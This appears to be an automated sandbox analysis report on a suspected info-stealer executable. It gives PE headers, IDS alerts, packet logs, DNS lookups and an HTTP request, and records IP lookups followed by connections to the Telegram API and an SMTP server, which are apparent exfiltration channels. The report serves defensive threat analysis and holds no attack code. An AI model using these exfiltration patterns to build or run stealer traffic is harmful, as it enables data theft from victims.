IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x42334	0x42400	919e43dbe19599951b7418f92397e789	False	0.2138892983490566	data	5.632473442443166	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x46000	0x1017	0x1200	78b97a769c57cf460625c961b04b1a16	False	0.3543836805555556	data	4.76801789588623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0xc	0x200	3357292ff3dc4e25505da1bb6c6902f0	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x460a0	0x31c	data			0.4271356783919598
RT_MANIFEST	0x463bc	0xc5b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.3926651912741069

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T15:32:10.619499+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	158.101.44.242	80	TCP
2024-10-07T15:32:11.463421+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	158.101.44.242	80	TCP
2024-10-07T15:32:12.024708+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49701	188.114.97.3	443	TCP
2024-10-07T15:32:12.635105+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49702	158.101.44.242	80	TCP
2024-10-07T15:32:13.791372+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49704	158.101.44.242	80	TCP
2024-10-07T15:32:14.947634+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49706	158.101.44.242	80	TCP
2024-10-07T15:32:15.878264+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49707	188.114.97.3	443	TCP
2024-10-07T15:32:17.084831+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-07T15:32:18.238750+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49711	188.114.97.3	443	TCP
2024-10-07T15:32:19.662001+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49713	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 15:32:08.776802063 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:08.781671047 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:08.781765938 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:08.782037973 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:08.786951065 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.419218063 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.419576883 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.419810057 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.419852018 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:10.419852018 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:10.420491934 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.420532942 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:10.423350096 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:10.428246021 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.573785067 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:10.619436979 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:10.619488955 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:10.619498968 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:10.619549990 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:10.627645969 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:10.627657890 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.082218885 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.082315922 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.087321997 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.087333918 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.087641954 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.135417938 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.141650915 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.187402964 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.246562958 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.246803999 CEST	443	49700	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.246869087 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.252212048 CEST	49700	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.255348921 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:11.260171890 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:11.417453051 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:11.420046091 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.420084000 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.420161009 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.420392990 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.420402050 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.463421106 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:11.866590977 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:11.868824005 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:11.868854046 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:12.024559021 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:12.024646997 CEST	443	49701	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:12.024694920 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:12.025141001 CEST	49701	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:12.029836893 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:12.031086922 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:12.035223961 CEST	80	49699	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:12.035294056 CEST	49699	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:12.036786079 CEST	80	49702	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:12.036848068 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:12.036933899 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:12.041737080 CEST	80	49702	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:12.585233927 CEST	80	49702	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:12.586659908 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:12.586703062 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:12.586790085 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:12.587099075 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:12.587114096 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:12.635104895 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.047451973 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.049753904 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.049803972 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.178781986 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.179016113 CEST	443	49703	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.179097891 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.179620981 CEST	49703	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.183911085 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.185630083 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.189121008 CEST	80	49702	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:13.189197063 CEST	49702	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.190442085 CEST	80	49704	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:13.190542936 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.190700054 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:13.195458889 CEST	80	49704	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:13.739020109 CEST	80	49704	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:13.740792036 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.740834951 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.741013050 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.741296053 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:13.741316080 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:13.791372061 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.191041946 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.192961931 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.192996979 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.325818062 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.326076031 CEST	443	49705	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.326128006 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.326581001 CEST	49705	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.329606056 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.330506086 CEST	49706	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.336381912 CEST	80	49706	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:14.336466074 CEST	49706	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.336594105 CEST	49706	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.336987019 CEST	80	49704	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:14.337212086 CEST	49704	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:14.342717886 CEST	80	49706	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:14.895538092 CEST	80	49706	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:14.897156954 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.897217989 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.897296906 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.901082039 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:14.901118994 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:14.947633982 CEST	49706	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:15.364062071 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:15.365806103 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:15.365828037 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:15.878349066 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:15.878590107 CEST	443	49707	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:15.878648043 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:15.879211903 CEST	49707	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:15.897013903 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:15.902157068 CEST	80	49708	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:15.902247906 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:15.903928041 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:15.908772945 CEST	80	49708	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:16.472619057 CEST	80	49708	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:16.485485077 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:16.485543013 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:16.485733986 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:16.485965967 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:16.485986948 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:16.525775909 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:16.938893080 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:16.940721035 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:16.940809965 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:17.084922075 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:17.085138083 CEST	443	49709	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:17.085191011 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:17.085587978 CEST	49709	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:17.089426994 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:17.090563059 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:17.094785929 CEST	80	49708	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:17.094918013 CEST	49708	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:17.095470905 CEST	80	49710	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:17.095524073 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:17.095774889 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:17.100573063 CEST	80	49710	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:17.632886887 CEST	80	49710	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:17.633948088 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:17.633977890 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:17.634037971 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:17.634282112 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:17.634289026 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:17.681993961 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.106833935 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:18.108937979 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:18.108958960 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:18.238713026 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:18.238805056 CEST	443	49711	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:18.238873959 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:18.239360094 CEST	49711	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:18.242965937 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.244038105 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.248245955 CEST	80	49710	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:18.248305082 CEST	49710	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.248893976 CEST	80	49712	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:18.248966932 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.249037027 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:18.254184008 CEST	80	49712	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:19.017308950 CEST	80	49712	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:19.018198013 CEST	80	49712	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:19.018261909 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.020211935 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.020257950 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.020337105 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.020551920 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.020566940 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.512697935 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.514173031 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.514195919 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.662012100 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.662122965 CEST	443	49713	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:19.662198067 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.662635088 CEST	49713	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:19.665285110 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.666277885 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.670768023 CEST	80	49712	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:19.670835972 CEST	49712	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.671494961 CEST	80	49715	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:19.671560049 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.671669960 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:19.676603079 CEST	80	49715	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:20.217713118 CEST	80	49715	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:20.218930006 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:20.218969107 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:20.219041109 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:20.219394922 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:20.219405890 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:20.260134935 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:21.671840906 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:21.680212975 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:21.680227995 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:21.819034100 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:21.819124937 CEST	443	49716	188.114.97.3	192.168.2.7
Oct 7, 2024 15:32:21.819209099 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:21.825172901 CEST	49716	443	192.168.2.7	188.114.97.3
Oct 7, 2024 15:32:21.918596029 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:21.924390078 CEST	80	49715	158.101.44.242	192.168.2.7
Oct 7, 2024 15:32:21.924443007 CEST	49715	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:21.931436062 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:21.931473017 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:21.931534052 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:21.934407949 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:21.934422016 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:22.891280890 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:22.891357899 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:22.892986059 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:22.892991066 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:22.893220901 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:22.894597054 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:22.939413071 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:23.131922007 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:23.131982088 CEST	443	49722	149.154.167.220	192.168.2.7
Oct 7, 2024 15:32:23.132059097 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:23.136456013 CEST	49722	443	192.168.2.7	149.154.167.220
Oct 7, 2024 15:32:28.311276913 CEST	49706	80	192.168.2.7	158.101.44.242
Oct 7, 2024 15:32:28.586433887 CEST	49770	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:29.572762012 CEST	49770	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:31.573045015 CEST	49770	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:35.572705030 CEST	49770	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:43.572726011 CEST	49770	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:51.091054916 CEST	49903	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:52.104017019 CEST	49903	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:54.104020119 CEST	49903	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:32:58.104027987 CEST	49903	25	192.168.2.7	192.250.231.25
Oct 7, 2024 15:33:06.104062080 CEST	49903	25	192.168.2.7	192.250.231.25

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 15:32:08.759109020 CEST	50178	53	192.168.2.7	1.1.1.1
Oct 7, 2024 15:32:08.766763926 CEST	53	50178	1.1.1.1	192.168.2.7
Oct 7, 2024 15:32:10.608319998 CEST	54286	53	192.168.2.7	1.1.1.1
Oct 7, 2024 15:32:10.618717909 CEST	53	54286	1.1.1.1	192.168.2.7
Oct 7, 2024 15:32:21.918437004 CEST	63606	53	192.168.2.7	1.1.1.1
Oct 7, 2024 15:32:21.925395012 CEST	53	63606	1.1.1.1	192.168.2.7
Oct 7, 2024 15:32:28.489160061 CEST	65353	53	192.168.2.7	1.1.1.1
Oct 7, 2024 15:32:28.585696936 CEST	53	65353	1.1.1.1	192.168.2.7
Oct 7, 2024 15:32:53.814888000 CEST	53	63920	162.159.36.2	192.168.2.7
Oct 7, 2024 15:32:54.524446964 CEST	53	52524	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 15:32:08.759109020 CEST	192.168.2.7	1.1.1.1	0x599	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:10.608319998 CEST	192.168.2.7	1.1.1.1	0x6a1a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:21.918437004 CEST	192.168.2.7	1.1.1.1	0xcfae	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:28.489160061 CEST	192.168.2.7	1.1.1.1	0xd10d	Standard query (0)	mail.electradubai.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:08.766763926 CEST	1.1.1.1	192.168.2.7	0x599	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:10.618717909 CEST	1.1.1.1	192.168.2.7	0x6a1a	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:10.618717909 CEST	1.1.1.1	192.168.2.7	0x6a1a	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:21.925395012 CEST	1.1.1.1	192.168.2.7	0xcfae	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 7, 2024 15:32:28.585696936 CEST	1.1.1.1	192.168.2.7	0xd10d	No error (0)	mail.electradubai.com		192.250.231.25	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	158.101.44.242	80	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 15:32:08.782037973 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 7, 2024 15:32:10.419218063 CEST	320	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f68e09b5ca41aa72a69189561720b207 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
